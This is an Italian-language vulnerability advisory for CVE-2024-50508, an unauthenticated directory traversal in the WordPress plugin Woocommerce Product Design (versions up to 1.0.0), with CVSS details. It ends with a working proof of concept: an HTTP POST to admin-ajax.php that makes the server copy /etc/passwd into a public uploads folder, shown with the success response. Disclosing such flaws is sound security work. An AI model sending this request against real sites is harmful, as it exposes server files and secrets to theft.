CVE-2024-50508

Woocommerce Product Design <= 1.0.0 - Download Arbitrario di File Non Autenticato

Descrizione

Il plugin Woocommerce Product Design per WordPress è vulnerabile a Directory Traversal in tutte le versioni fino alla 1.0.0 inclusa. Ciò consente ad attaccanti non autenticati di leggere il contenuto di file arbitrari sul server, che possono contenere informazioni sensibili.

Dettagli

• Tipo: plugin
• Slug: woo-product-design
• Versione Affetta: 1.0.0
• Punteggio CVSS: 7.5
• Valutazione CVSS: Alta
• Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• CVE: CVE-2024-50508
• Stato: Chiuso

POC

POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 53

action=pc_added_uploaded_image&file[path]=/etc/passwd

{
  "path": "/var/www/html/wp-content/uploads/wcpc/images/uploaded_images/passwd",
  "message": "Image Uploaded Successfully",
  "url": "https://wp-dev.ddev.site/wp-content/uploads/wcpc/images/uploaded_images/passwd",
  "status": "success"
}